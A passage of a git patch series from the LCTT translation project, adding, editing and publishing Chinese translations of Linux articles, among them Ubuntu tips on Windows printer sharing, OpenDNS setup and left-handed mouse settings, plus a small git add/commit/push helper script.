-如果文档不超过2到3页，一般用户可能需要时常检查标题栏看自己用的是LibreOffice还是OpenOffice。然而，对于进阶用户而言，LibreOffice目前可能更有优势。优势并不算大，但是很明显。 +如果文档不超过2到3页，一般用户可能会时常看看标题栏看自己用的是LibreOffice还是OpenOffice。然而，对于进阶用户而言，LibreOffice目前可能更有优势。优势并不算大，但是很明显。 -这一优势的确很难被忽略。原因首先，在LibreOffice已经确立了好几个月时间优势的情况下，OpenOffice却仍在专注于管理权和代码审计，这些工作也许有帮助也有必要，但是普通用户更愿意看到他们对代码做出更多的改进工作。 +这一优势的确很难被忽略。原因首先是，在LibreOffice已经确立了好几个月时间优势的情况下，OpenOffice却仍在专注于管理权和代码审计，这些工作也许有帮助，也有必要，但是普通用户更愿意看到他们对代码做出更多的改进工作。 -其次，LibreOffice的开发人员大部分是[Go-oo][3]的前成员，这是OpenOffice.org的一个非官方项目组，以“快速完善”为目标。当Apache OpenOffice项目组还在筹建中的时候，LibreOffice就已经吸引了全世界酷爱编程、热衷变革的天才们。 +其次，LibreOffice的开发人员大部分是[Go-oo][3]的前成员，这是OpenOffice.org的一个非官方分支，以“快速完善”为目标。当Apache OpenOffice项目组还在筹建中的时候，LibreOffice就已经吸引了全世界酷爱编程、热衷变革的天才们。 没有人做过准确的调查，但是我印象中，当OpenOffice.org社区分家的时候，大部分富于冒险创新精神的贡献者都选择了LibreOffice，同时，有一些半独立的文档小组，在谨慎地同时为两个项目工作。 -其实，LibreOffice最重要的优势或许可以称之为“吸血许可证”。怎么个意思呢？就是OpenOffice的Apache许可证兼容LibreOffice的Lesser GNU通用公共许可证，但是LibreOffice的Less GNU通用公共许可证却不兼容OpenOffice的Apache许可证。换句话说，LibreOffice可以随意自由地从OpenOffice“借”代码，但是OpenOffice却根本无法从LibreOffice“借”到任何东西。严格地讲，如果想从LibreOffice“借”来某个功能，OpenOffice必须完全依靠“净室（clean-room）”来实现。 +其实，LibreOffice最重要的优势或许可以称之为“吸血许可证”。怎么个意思呢？就是OpenOffice的Apache许可证兼容LibreOffice的Lesser GNU通用公共许可证，但是LibreOffice的Less GNU通用公共许可证却不兼容OpenOffice的Apache许可证。换句话说，LibreOffice可以随意自由地从OpenOffice“借”代码，但是OpenOffice却根本无法从LibreOffice“借”到任何东西。严格地讲，如果想从LibreOffice“借”来某个功能，OpenOffice必须完全从头实现。 这一情况有可能会改变，尤其是当Apache OpenOffice比LibreOffice拥有更高的知名度的时候，然而LibreOffice的支持者们正在迅速扩张，它的社区非常活跃，短短3年间所做的要比OpenOffice.org十二年来做的还要多。 @@ -70,7 +70,7 @@ LibreOffice还拥有更多的“冒险创新精神”，例如，与导航栏类 via: http://www.datamation.com/applications/apache-openoffice-vs.-libreoffice-1.html -译者：[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对：[校对者ID](https://github.com/校对者ID) +译者：[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对：[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 From 4db0004642204870da84abf7ced401349005ffce Mon Sep 17 00:00:00 2001 From: Linux-pdz Date: Sun, 1 Dec 2013 14:32:34 +0800 Subject: [PATCH 058/148] translated --- ...ps – Print From Shared Windows Printers.md | 49 +++++++++++++++++++ ... Using OpenDNS’ Secure DNS Infrastructure.md | 35 +++++++++++++ 2 files changed, 84 insertions(+) create mode 100644 translated/Daily Ubuntu Tips – Print From Shared Windows Printers.md create mode 100644 translated/Daily Ubuntu Tips–Protect Your Computers Using OpenDNS’ Secure DNS Infrastructure.md diff --git a/translated/Daily Ubuntu Tips – Print From Shared Windows Printers.md b/translated/Daily Ubuntu Tips – Print From Shared Windows Printers.md new file mode 100644 index 0000000000..4d88ec21f3 --- /dev/null +++ b/translated/Daily Ubuntu Tips – Print From Shared Windows Printers.md @@ -0,0 +1,49 @@ +每日Ubuntu小技巧-使用Windows共享打印机进行打印 +=== +对于那些既有Windows电脑又有Ubuntu电脑但却只有一台打印机的用户，这篇博文向你展示如何在Windows中共享一个打印机，并允许Ubuntu使用它来打印。 + +几乎所有的打印机都默认支持Windows。许多打印机生产商都为Windows生产打印机但是很多却并不为Linux系统生产，包括Ubuntu。所以，假如你有一台支持Windows的打印机，你可以在Windows机器上分享它，然后让其它系统来使用它来打印。 + +在几年之前，我遇到了这个问题，那时大多数打印机生产商不支持Linux系统。我有一台老式的只支持Windows和Mac OS X但却不支持Linux的打印机。 + +我在我的Windows机器上安装了打印机驱动，然后它就可以很好的工作咯。我的Windows机器使用它来打印非常好，但是我的Ubuntu却无法使用它来打印，因为打印机并不支持LAN。 + +所以，我在Windows上共享该打印机，然后我的Ubuntu机器就可以使用合适的字体和风格进行打印咯。假如你也遇到类似的情景，你可以按照下面的指导也这样做。 + +首先，登入Windows，右击你要共享的打印机，然后点击‘**打印机属性**’ + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu.png) + +接着，选择“分享”标签页，勾选上‘分享这台打印机’复选框来分享这台打印机。记住共享打印机的名字，因为你要使用这个共享名来连接这台打印机。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu1.png) + +最后，以管理员权限运行命令行终端，运行以下命令以便于文件和打印机可以通过防火墙实现共享。 + + netsh advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes + +接着，登入Ubuntu中，选择顶部面板右边的**齿轮**，然后选择**设置...** + +系统设置打开后，选择打印机，然后点击**添加**。当跳出来一个窗口让你选择设备时，选择‘使用SAMBA的Windows打印机’。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu2.png) + +键入Windows电脑的IP地址或者主机名，后面接着键入共享的打印机名。你可能需要键入你的windows验证信息（用户名和密码）。验证后你就可以看到打印机咯，当你完成这些后，就可以点击向前继续下一步咯。 + +接着，选择打印机商标和模型。假如你在列表中看不到和你的打印机相似的模型，选择一个最接近它的然后继续。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu3.png) + +以上这些都搞定了之后，你的打印机就安装好咯，可以使用了。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu4.png) + +好好享受吧！ + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-print-from-shared-windows-printers/ + +译者：[Linux-pdz](https://github.com/Linux-pdz) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/translated/Daily Ubuntu Tips–Protect Your Computers Using OpenDNS’ Secure DNS Infrastructure.md b/translated/Daily Ubuntu Tips–Protect Your Computers Using OpenDNS’ Secure DNS Infrastructure.md new file mode 100644 index 0000000000..216bd33a00 --- /dev/null +++ b/translated/Daily Ubuntu Tips–Protect Your Computers Using OpenDNS’ Secure DNS Infrastructure.md @@ -0,0 +1,35 @@ +每日Ubuntu小技巧-使用OpenDNS的安全协议保护你的电脑 +=== +因特网是个大熔炉。无论是好人还是坏人，都可以连接到和我们一样的网络。那些制作病毒感染人们电脑的坏蛋以及寻求保护人们的好人们全都连接到同一网络中。 + +就像人们所说的那样，因特网是过去所出现的一个最好的东东。它包含着任何人都可以获取的有价值的信息和资源，且大部分可以免费获取。一些最著名高校的人提供有免费的高质量课程，可供任何想学习的人来学习。今天，我们都可以连入因特网真是一件好事情。 + +但是有些事情你一定要记住，当你连入互联网时，你的电脑就成了攻击的目标。成为病毒，木马和其它程序破坏的目标。 + +正因为此，推荐连入因特网的电脑都要使用反病毒和反间谍软件来保护。在有些情况下，即使使用了这些软件也不能完全保证你的安全。再添加一个安全层总是一个好主意。 + +当寻找添加一个额外的安全层去保护你的机器时，使用OpenDNS的安全DNS框架可能会有帮助。因特网有许多部分组成，尽力对其每一部分都进行相应保护是保证安全的最好方法。 + +首先，你要在你的电脑上安装反病毒和反间谍软件。由于浏览因特网时允许你的电脑查询远程DNS服务器，因此使用受保护的安全的DNS服务器将是保护你电脑安全的好方法。 + +这是一个简明手册，告诉你如何在Ubuntu上配置OpenDNS框架以便保护你的电脑。 + + sudo gedit /etc/dhcp/dhclient.conf + +最后，在打开的文件中添加下面一行，然后保存。 + + supersede domain-name-servers 208.67.222.222,208.67.220.220; + +重启你的电脑，祝你玩的开心！ + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/opendns-ubuntu.png) + +好好享受吧！ + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipsprotect-your-computers-using-opendns-secure-dns-infrastructure/ + +译者：[Linux-pdz](https://github.com/Linux-pdz) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 From 7647cec439cd164499ad02810498f7e1c0c99337 Mon Sep 17 00:00:00 2001 From: Linux-pdz Date: Sun, 1 Dec 2013 14:37:27 +0800 Subject: [PATCH 059/148] =?UTF-8?q?Delete=20Daily=20Ubuntu=20Tips=20?= =?UTF-8?q?=E2=80=93=20Print=20From=20Shared=20Windows=20Printers.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...ps – Print From Shared Windows Printers.md | 50 ------------------- 1 file changed, 50 deletions(-) delete mode 100644 sources/Daily Ubuntu Tips – Print From Shared Windows Printers.md diff --git a/sources/Daily Ubuntu Tips – Print From Shared Windows Printers.md b/sources/Daily Ubuntu Tips – Print From Shared Windows Printers.md deleted file mode 100644 index 5f0726bde1..0000000000 --- a/sources/Daily Ubuntu Tips – Print From Shared Windows Printers.md +++ /dev/null @@ -1,50 +0,0 @@ -翻译中 by Linux-pdz -Daily Ubuntu Tips – Print From Shared Windows Printers -================================================================================ -For users with both Windows and Ubuntu machines and a single printer, this blog post is going to show you how to share a printer in Windows and allow Ubuntu machines to printer to it. - -Almost all printers support Windows by default. Printer manufactures are building printers for Windows and not many are doing it for Linux systems, including Ubuntu. So, if you have a printer with full Windows support, you can share it from the Windows machine and allow other systems to print to it. - -I ran into this problem few years go when most printers didn’t support Linux systems. I had an older printer which was designed specifically for Windows and Mac OS X with no support for Linux. - -I installed the printer driver on my Windows machine and it worked great. My Windows machine was printing just fine, but couldn’t get the Ubuntu machine to because the printer didn’t support LAN. - -So, I shared the printer from Windows and my Ubuntu machine was printing properly with the correct fonts and style. If you find yourself in similar situation, follow the guide below to do the same. - -First, logon to Windows and right-click the printer you wish to share and click ‘**Printer properties**’ - -![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu.png) - -Next, select the ‘Sharing’ tab and check the ‘Share this printer’ box to share the printer. Remember the shared name because you’ll connect using that shared name. - -![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu1.png) - -Finally, open the commands prompt as administrator and run the commands below to enable file and printer sharing through the firewall. - - netsh advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes - -Next, logon to Ubuntu and select the **gear** on the panel at the top right and select System **Settings…** - -When System Settings opens, select Printers. The add a printer. When prompted to select a device, choose ‘ **Windows Printer via SAMBA**’. - -![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu2.png) - -Enter the Windows computer IP address or hostname followed by the printer shared name. You may also have to enter your windows account credentials (username and password). Click Browse to verify that you can see the printer and when you’re done, click Forward to continue. - -Next, select the printer brand and model. If you don’t see the particular model, choose the next closest to it and continue. - -![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu3.png) - -If everything is done correctly, you should have a printer installed and ready to use. - -![](http://www.liberiangeek.net/wp-content/uploads/2013/11/printersharingubuntu4.png) - -Enjoy! - --------------------------------------------------------------------------------- - -via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-print-from-shared-windows-printers/ - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 From 6c71ebf749717caa80bbd9b3ad58872243f513d8 Mon Sep 17 00:00:00 2001 From: Linux-pdz Date: Sun, 1 Dec 2013 14:37:38 +0800 Subject: [PATCH 060/148] =?UTF-8?q?Delete=20Daily=20Ubuntu=20Tips=E2=80=93?= =?UTF-8?q?Protect=20Your=20Computers=20Using=20OpenDNS=E2=80=99=20Secure?= =?UTF-8?q?=20DNS=20Infrastructure.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ... Using OpenDNS’ Secure DNS Infrastructure.md | 36 ------------------- 1 file changed, 36 deletions(-) delete mode 100644 sources/Daily Ubuntu Tips–Protect Your Computers Using OpenDNS’ Secure DNS Infrastructure.md diff --git a/sources/Daily Ubuntu Tips–Protect Your Computers Using OpenDNS’ Secure DNS Infrastructure.md b/sources/Daily Ubuntu Tips–Protect Your Computers Using OpenDNS’ Secure DNS Infrastructure.md deleted file mode 100644 index 1aaad9be28..0000000000 --- a/sources/Daily Ubuntu Tips–Protect Your Computers Using OpenDNS’ Secure DNS Infrastructure.md +++ /dev/null @@ -1,36 +0,0 @@ -翻译中by Linux-pdz -Daily Ubuntu Tips–Protect Your Computers Using OpenDNS’ Secure DNS Infrastructure -================================================================================ -The Internet is a jungle. Everyone – good and bad is connected to the same Internet we’re all connected to. Folks whose business is to infect your computer with nasty viruses and those who seek to protect the good guys are all connected. - -With that said, the Internet is the best thing that ever happened to mankind. It contains wealth of information and resources that anyone can access, mostly free of charge. Some of the most prestigious colleges are offering free high level courses to anyone who wants to learn. It is a good thing that the Internet is available to us today. - -Something to always keep in your mind when using the Internet is that your computer is always a target. A target for viruses, malwares and other programs that want to destroy it. - -Because of that, it’s always recommended to use the Internet with computers that are protected with antivirus and antispyware programs. In some cases, that may still not be enough. Adding more layers of security is always good. - -When looking to add additional layers of security to protect your machines, using OpenDNS’ secure DNS infrastructure may help. There are many parts that make up the Internet and protecting as many of its parts is the best way to go. - -First, you’ll want to install antivirus and antispyware programs on your computers. Because browsing the Internet allows your computer to query remote DNS providers, using protected and secured DNS providers will go a long way protecting your machine. - -This brief tutorials is going to show you how to configure Ubuntu machine to use OpenDNS’ infrastructure to help protect your machines. - - sudo gedit /etc/dhcp/dhclient.conf - -Finally, add the line below into the file and save it. - - supersede domain-name-servers 208.67.222.222,208.67.220.220; - -Restart your computer and enjoy! - -![](http://www.liberiangeek.net/wp-content/uploads/2013/11/opendns-ubuntu.png) - -Enjoy! - --------------------------------------------------------------------------------- - -via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipsprotect-your-computers-using-opendns-secure-dns-infrastructure/ - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 From 0eff465d73dc2fa2fd156c1335889880b16398aa Mon Sep 17 00:00:00 2001 From: wxy Date: Sun, 1 Dec 2013 19:32:14 +0800 Subject: [PATCH 061/148] =?UTF-8?q?=E5=8F=91=E5=B8=83=EF=BC=9ARecoll--Text?= =?UTF-8?q?=20Search=20Tool=20For=20Unix=20And=20Linux=20Desktops?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Recoll--Text Search Tool For Unix And Linux Desktops.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) rename {translated => published}/Recoll--Text Search Tool For Unix And Linux Desktops.md (99%) diff --git a/translated/Recoll--Text Search Tool For Unix And Linux Desktops.md b/published/Recoll--Text Search Tool For Unix And Linux Desktops.md similarity index 99% rename from translated/Recoll--Text Search Tool For Unix And Linux Desktops.md rename to published/Recoll--Text Search Tool For Unix And Linux Desktops.md index 04ac6d404d..6382172173 100644 --- a/translated/Recoll--Text Search Tool For Unix And Linux Desktops.md +++ b/published/Recoll--Text Search Tool For Unix And Linux Desktops.md @@ -50,8 +50,8 @@ Recoll可以从Dash或者菜单中启动。 正如上面提到的，假如你想更多的控制索引的细节，你可以调节Recoll的索引功能。 在Recoll的工具中有两个配置项 -1.索引配置 -2.索引计划 +1. 索引配置 +2. 索引计划 让我们来看一下上面这两个的简短描述。 @@ -118,6 +118,7 @@ Recoll支持两种索引计划： 欢呼吧！ 如有问题，请参考我们的Q/A论坛 : http://ask.unixmen.com/ 。 + -------------------------------------------------------------------------------- via: http://www.unixmen.com/recoll-text-searching-tool-linux-desktops/ From 61de4df890507312d29626a9d09125995ff0ad60 Mon Sep 17 00:00:00 2001 From: wxy Date: Sun, 1 Dec 2013 19:42:45 +0800 Subject: [PATCH 062/148] =?UTF-8?q?=E5=8F=91=E5=B8=83=EF=BC=9AVidMasta--A?= =?UTF-8?q?=20Desktop=20Application=20For=20Searching=20Movies=20And=20TV?= =?UTF-8?q?=20Shows?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...ation For Searching Movies And TV Shows.md | 24 ++++++++----------- 1 file changed, 10 insertions(+), 14 deletions(-) rename {translated => published}/VidMasta--A Desktop Application For Searching Movies And TV Shows.md (81%) diff --git a/translated/VidMasta--A Desktop Application For Searching Movies And TV Shows.md b/published/VidMasta--A Desktop Application For Searching Movies And TV Shows.md similarity index 81% rename from translated/VidMasta--A Desktop Application For Searching Movies And TV Shows.md rename to published/VidMasta--A Desktop Application For Searching Movies And TV Shows.md index b90db7f8a2..bee782149c 100644 --- a/translated/VidMasta--A Desktop Application For Searching Movies And TV Shows.md +++ b/published/VidMasta--A Desktop Application For Searching Movies And TV Shows.md @@ -1,19 +1,14 @@ -VidMasta:一个搜索电影和电视剧的桌面应用 +VidMasta:搜索和观看在线电影、电视剧的神器 === + 你是否曾经想要从桌面搜索电影或电视剧，或者搜寻能够随时为你搜索这些东西的应用程序？这儿有一个应用可以满足你的需要。 -[**VidMasta**][1]是一个免费， - - -VidMasta: A Desktop Application For Searching Movies And TV Shows -================================================================================ -Ever wanted to search for a Movie or a TV shows from your desktop or searching for a application to do it for you whenever you want? Here is a application to fulfil your needs. - -[**VidMasta**][1] is free, cross-platform, federated search desktop application to read about, preview, watch, and download any movie or television titles that are being shared online. It will run on Linux, Windows and Mac OS X. +[**VidMasta**][1]是一个免费的、跨平台的的应用，它将搜索、浏览、评论、观看和下载那些在线分享的视频和电视剧等功能融为一体。它可以运行在Linux、Windows和Mac OS X上。 ###特点 -使用VidMasta，你可以做到一下这些： +使用VidMasta，你可以做到以下这些： + - 观看或下载任何格式的电影或电视剧 - 支持的格式是：TV，DVD，720P，1080P。 - 匿名链接并自动过滤不受信任的IP，可以使用代理，还可以使用加密连接。 @@ -34,8 +29,7 @@ Ever wanted to search for a Movie or a TV shows from your desktop or searching f ###在Linux上安装VidMasta -在安装VidMasta之前，你应该在你的Linux桌面系统中安装最新版的Java。 -从[这儿][4]下载最新版。进入你下载的文件夹，使用下面的命令安装它： +在安装VidMasta之前，你应该在你的Linux桌面系统中安装最新版的Java。从[这儿][4]下载最新版。进入你下载的文件夹，使用下面的命令安装它： sudo java -jar vidmasta-setup-16.7.jar @@ -89,7 +83,9 @@ Ever wanted to search for a Movie or a TV shows from your desktop or searching f 是不是很酷？ -需要注意的是，若你不能下载最新的电影或电视剧时，也许是因为版权问题或者地理原因。你也可以尝试一下安装最新版的Java并禁用掉屏蔽广告程序，再去播放或下载电影。 +需要注意的是，若你不能下载最新的电影或电视剧时，也许是因为版权问题或者国家原因。 + +你也可以尝试一下安装最新版的Java并禁用掉屏蔽广告程序，再去播放或下载电影。 你是否对此很期待呢？赶紧把它下载下来安装到你的系统中，祝你使用愉快！ @@ -97,7 +93,7 @@ Ever wanted to search for a Movie or a TV shows from your desktop or searching f via: http://www.unixmen.com/vidmasta-desktop-application-searching-movies-tv-shows/ -译者：[Linux-pdz](https://github.com/Linux-pdz`) 校对：[校对者ID](https://github.com/校对者ID) +译者：[Linux-pdz](https://github.com/Linux-pdz`) 校对：[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 From 5befe0a0881bc61684222c247052a72bdddda93e Mon Sep 17 00:00:00 2001 From: wxy Date: Sun, 1 Dec 2013 20:00:40 +0800 Subject: [PATCH 063/148] =?UTF-8?q?=E5=8F=91=E5=B8=83=EF=BC=9ANSA=20Asked?= =?UTF-8?q?=20Linus=20Torvalds=20To=20Give=20Them=20Backdoor=20Access=20In?= =?UTF-8?q?=20Linux,=20Says=20MEP?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...valds To Give Them Backdoor Access In Linux, Says MEP.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) rename {translated => published}/NSA Asked Linus Torvalds To Give Them Backdoor Access In Linux, Says MEP.md (89%) diff --git a/translated/NSA Asked Linus Torvalds To Give Them Backdoor Access In Linux, Says MEP.md b/published/NSA Asked Linus Torvalds To Give Them Backdoor Access In Linux, Says MEP.md similarity index 89% rename from translated/NSA Asked Linus Torvalds To Give Them Backdoor Access In Linux, Says MEP.md rename to published/NSA Asked Linus Torvalds To Give Them Backdoor Access In Linux, Says MEP.md index e567ae0a15..a0e85368a3 100644 --- a/translated/NSA Asked Linus Torvalds To Give Them Backdoor Access In Linux, Says MEP.md +++ b/published/NSA Asked Linus Torvalds To Give Them Backdoor Access In Linux, Says MEP.md @@ -1,12 +1,12 @@ -欧洲议会：NSA曾要求Linus Torvalds允许他们在Linux中植入后门 +这是玩笑吗？Linux之“祖父”认为NSA曾要求在Linux中植入后门 ================================================================================ ![](http://www.omgubuntu.co.uk/wp-content/uploads/2011/01/DSC01782.jpg) *照片中为大神Linus(左)和Benjamin Humphrey（译者注：该小伙儿为本文原文出处‘OMG！Ubuntu！’的联合创始人之一，现已离开OMGUbuntu）！照片摄于2011年* -美国国家安全局（[**NSA**][1]）宣称，他们曾经要求Linux的创始人，Linus Torvalds，在GNU/Linux中建立一个他们可以访问的“后门”。 +美国国家安全局（[**NSA**][1]）被称，他们曾经要求Linux的创始人，Linus Torvalds，在GNU/Linux中建立一个他们可以访问的“后门”。 -这绝非谣言，Linus的父亲，Nils Torvalds如此说道。 +这绝非谣言，Linus的父亲，Nils Torvalds如此说道。（译注：也许Nils可以算做是Linux的祖父？好吧，我是标题党，啦啦啦~ :D 无论如何，感谢他生了一个好儿子！ ） 作为欧洲议会（MEP）的成员之一，Nils出席了最近关于“欧盟公民监视问题”的委员会质询会议。根据爱德华·斯诺登泄露出的一些NSA文档，委员会对文档中列出的一些公司代表就所谓的“合作”进行了质询。 From 03be0e28c7ed4f314ed2db58b67397b79ee977cf Mon Sep 17 00:00:00 2001 From: crowner Date: Sun, 1 Dec 2013 21:32:43 +0800 Subject: [PATCH 064/148] complete --- acp.sh | 4 ++++ acp.txt | 4 ++++ ...ser-friendly icon-creation design story.md | 2 +- ...ser-friendly icon-creation design story.md | 23 +++++++++++++++++++ 4 files changed, 32 insertions(+), 1 deletion(-) create mode 100644 acp.sh create mode 100644 acp.txt create mode 100644 translated/Deepen your creative knowledge with explanatory user-friendly icon-creation design story.md diff --git a/acp.sh b/acp.sh new file mode 100644 index 0000000000..eab77e3d5b --- /dev/null +++ b/acp.sh @@ -0,0 +1,4 @@ +#!/bin/sh +git add . +git commit -am "$1" +git push origin gh-pages diff --git a/acp.txt b/acp.txt new file mode 100644 index 0000000000..eab77e3d5b --- /dev/null +++ b/acp.txt @@ -0,0 +1,4 @@ +#!/bin/sh +git add . +git commit -am "$1" +git push origin gh-pages diff --git a/sources/Deepen your creative knowledge with explanatory user-friendly icon-creation design story.md b/sources/Deepen your creative knowledge with explanatory user-friendly icon-creation design story.md index bbf9a06aea..a614868164 100644 --- a/sources/Deepen your creative knowledge with explanatory user-friendly icon-creation design story.md +++ b/sources/Deepen your creative knowledge with explanatory user-friendly icon-creation design story.md @@ -1,4 +1,4 @@ -dig by crowner +trying by crowner Deepen your creative knowledge with explanatory user-friendly icon-creation design story ================================================================================ Along with quality, stability and agility, Ubuntu comes paired with a team of experienced designers, designers covering more and more corners of Ubuntu and thus imprinting into the polished OS beautiful areas, optimized behaviors, carefully-implemented interactions, etc. diff --git a/translated/Deepen your creative knowledge with explanatory user-friendly icon-creation design story.md b/translated/Deepen your creative knowledge with explanatory user-friendly icon-creation design story.md new file mode 100644 index 0000000000..26a62228b7 --- /dev/null +++ b/translated/Deepen your creative knowledge with explanatory user-friendly icon-creation design story.md @@ -0,0 +1,23 @@ +用解释性用户友好的图标的创作设计故事加深你的创意知识 +================================================================================ +伴随着质量性、稳定性和灵活性，Ubuntu自带了一批富有经验的设计师，这些设计师覆盖了越来越多的Ubuntu的角落，因此压印进这个闪耀着光芒的系统中的漂亮区域、优化行为、小心实现的交互等。 + + **Ubuntu的设计师 Matthieu "Tiheum" James**,--Faenza和Faience的发明者--, 发布了一篇有趣的文章，（这篇文章）围绕着几个图标的发明展开。这篇有见地的文章使得感兴趣的用户和第三方开发人员能够直观地了解一个专业的设计师是怎样创作一个图标的。 + +上面提到的最近在香港的OpenStack峰会上发布的图标是为Juju设计的，这个图标采用了一个有趣的特性，为了满足Ubuntu在香港峰会的参观者的需要，“**我们想**用比较特殊的一点的东西来代替正常的Juju图标，以向参观了Ubuntu站的人们解释说Juju可以做什么。我们决定使用的带配料和酱汁的冰淇淋的想法（来说明），你可以在同这个想法（用配料和酱汁调配出自己的冰淇淋）一样，建立Juju的服务。 + +这篇文章解释了在真实的图标创作过程中真实的心路历程，使读者沉浸在一个解释性同时易于掌握的旅程中，在旅程之中包括寻找好的概念，最初的草图，为图标添加角度，采用不同的设计方法，选择图标背景，精炼图标等。从本质上讲，一个易于阅读的设计故事。 + +![](http://iloveubuntu.net/pictures_me/icon%20creation%20design%20story.jpg) + +你可以在这里享受全文[http://design.canonical.com/2013/11/juju-ice-cream-icon-design/][1] + +-------------------------------------------------------------------------------- + +via: http://iloveubuntu.net/deepen-your-creative-knowledge-explanatory-user-friendly-icon-creation-design-story + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://design.canonical.com/2013/11/juju-ice-cream-icon-design/ \ No newline at end of file From 7f551f38ef2f9832fc0f75e7437d416f3fab9627 Mon Sep 17 00:00:00 2001 From: Linchenguang <1573453077@qq.com> Date: Sun, 1 Dec 2013 23:35:00 +0800 Subject: [PATCH 065/148] =?UTF-8?q?Update=20and=20rename=20sources/Daily?= =?UTF-8?q?=20Ubuntu=20Tips=E2=80=93Make=20The=20Mouse=20Left-handed=20For?= =?UTF-8?q?=20Left=20Hand=20Users.md=20to=20translatedDaily=20Ubuntu=20Tip?= =?UTF-8?q?s=E2=80=93Make=20The=20Mouse=20Left-handed=20For=20Left=20Hand?= =?UTF-8?q?=20Users.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...The Mouse Left-handed For Left Hand Users.md | 34 ------------------- ...The Mouse Left-handed For Left Hand Users.md | 31 +++++++++++++++++ 2 files changed, 31 insertions(+), 34 deletions(-) delete mode 100644 sources/Daily Ubuntu Tips–Make The Mouse Left-handed For Left Hand Users.md create mode 100644 translatedDaily Ubuntu Tips–Make The Mouse Left-handed For Left Hand Users.md diff --git a/sources/Daily Ubuntu Tips–Make The Mouse Left-handed For Left Hand Users.md b/sources/Daily Ubuntu Tips–Make The Mouse Left-handed For Left Hand Users.md deleted file mode 100644 index a9c55c9137..0000000000 --- a/sources/Daily Ubuntu Tips–Make The Mouse Left-handed For Left Hand Users.md +++ /dev/null @@ -1,34 +0,0 @@ -【chenguang】翻译中》》》》》》》》》》》................ -= - -Daily Ubuntu Tips–Make The Mouse Left-handed For Left Hand Users -================================================================================ -The computer mouse was designed to be operated mostly using your index finger (the finger next to your thumb). By default, the mouse is configured for right-handed users. When you turn on your machine the first time, in most cases you will have to use your right index finger to click on things. - -In fact, most left-handed users use the mouse to the left side of the keyboard and use their middle finger to click on things. This is not the best way for left handed users to use the mouse. - -This brief tutorial is going those who need to use the mouse using their left hand properly. It will show left handed users how to setup the mouse so that the most commonly used button is operated using the left index finger. - -This can also applied to right handed users. If the mouse is configured to be used using the left index finger, right handed users may use this guide to change the button from left to right. - -To get started, click the gear button at the top right panel and select **System Settings**… - -![](http://www.liberiangeek.net/wp-content/uploads/2013/11/mouse-left-handed.png) - -Then select **Mouse & Touchpad** group from System Settings.. When it opens, choose ‘**Right**’ to switch the commonly used click button to suite left handed users. - -![](http://www.liberiangeek.net/wp-content/uploads/2013/11/mouse-left-handed-1.png) - -Switch back to Left to suite right handed users. The change will immediately take effect after selecting your choice. - -That it. Now left handed users can move the mouse to the left of the keyboard and use their index finger on the left hand to operate the mouse properly. - -Enjoy! - --------------------------------------------------------------------------------- - -via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipsmake-the-mouse-left-handed-for-left-hand-users/ - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/translatedDaily Ubuntu Tips–Make The Mouse Left-handed For Left Hand Users.md b/translatedDaily Ubuntu Tips–Make The Mouse Left-handed For Left Hand Users.md new file mode 100644 index 0000000000..e77bf5e7b6 --- /dev/null +++ b/translatedDaily Ubuntu Tips–Make The Mouse Left-handed For Left Hand Users.md @@ -0,0 +1,31 @@ 